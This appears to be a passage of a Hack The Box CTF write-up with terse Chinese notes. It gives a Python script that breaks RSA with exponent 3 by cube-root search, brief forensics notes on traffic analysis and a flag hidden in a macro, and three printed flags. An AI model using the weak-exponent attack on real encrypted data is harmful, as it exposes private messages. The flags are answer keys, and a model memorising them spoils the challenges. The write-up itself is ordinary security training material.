n = 0xE623972884B1F4D722BDD5EE5BEB84CB84760C2ED0FFAFD93CD6030FB20D7930903BD1731DC74C954A23075303DFD71B885CD66E985BF759ED17A985F7E7D837C857BD31A147D74DA261492858FA5FCFB89230878EF4FFFCFF92FC292989326454AFB51BB7AB253FEFD5B357BF83A639F153204AFC5628F3E02022C6949DC23CB19D2FD639B6D5987AC332A01DD23B437A6777BB967F80E522E941E5F972160AED556DB7393919806422AE1A7DC9B19996FDB7B29141472D6803DFF42A713DB57AC078FCA48D1A6861423DE3A12ED9CFAFB831E5D69B92D71963D023228C2612EA334A652C46121F505D1B5A551224C69FC8239CFE1093DE68095F7153159667
e = 3
c = bytes_to_long(base64.b64decode("Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wLp8HMJAPxeA321RZexR9qwswQv2S6xQ3QFJi6sgvxkN0YnXtLKRYHQ3te1Nzo53gDnbvuR6zWV8fdlOcBoHtKXlVlsqODku2GvkTQ/06x8zOAWgQCKj78V2mkPiSSXf2/qfDp+FEalbOJlILsZMe3NdgjvohpJHN3O5hLfBPdod2v6iSeNxl7eVcpNtwjkhjzUx35SScJDzKuvAv+6DupMrVSLUfcWyvYUyd/l4v01w+8wvPH9l"))
i = 0
while True:
tmp = (i*n)+c
i+=1
if gmpy2.iroot(tmp, e)[1]:
print(gmpy2.iroot(tmp, e)[0])
break
print(long_to_bytes(1557557083543814172336607163260092833421057646019104960727073356364066073441281899179702244042726263049650591998409092023301232930288444853604698625348475061214874927442198998278165154227631741))

image

flag:HTB{w34k_3xp0n3n7_ffc896}


Forensics

baby APT

简单流量分析:

image

解base64:

image

flag : HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}


giveaway

宏中藏有flag:

image

flag:HTB{Th1s_1s_4_pr3s3nt_3v3ryb0dy_w4nts_f0r_chr1stm4s}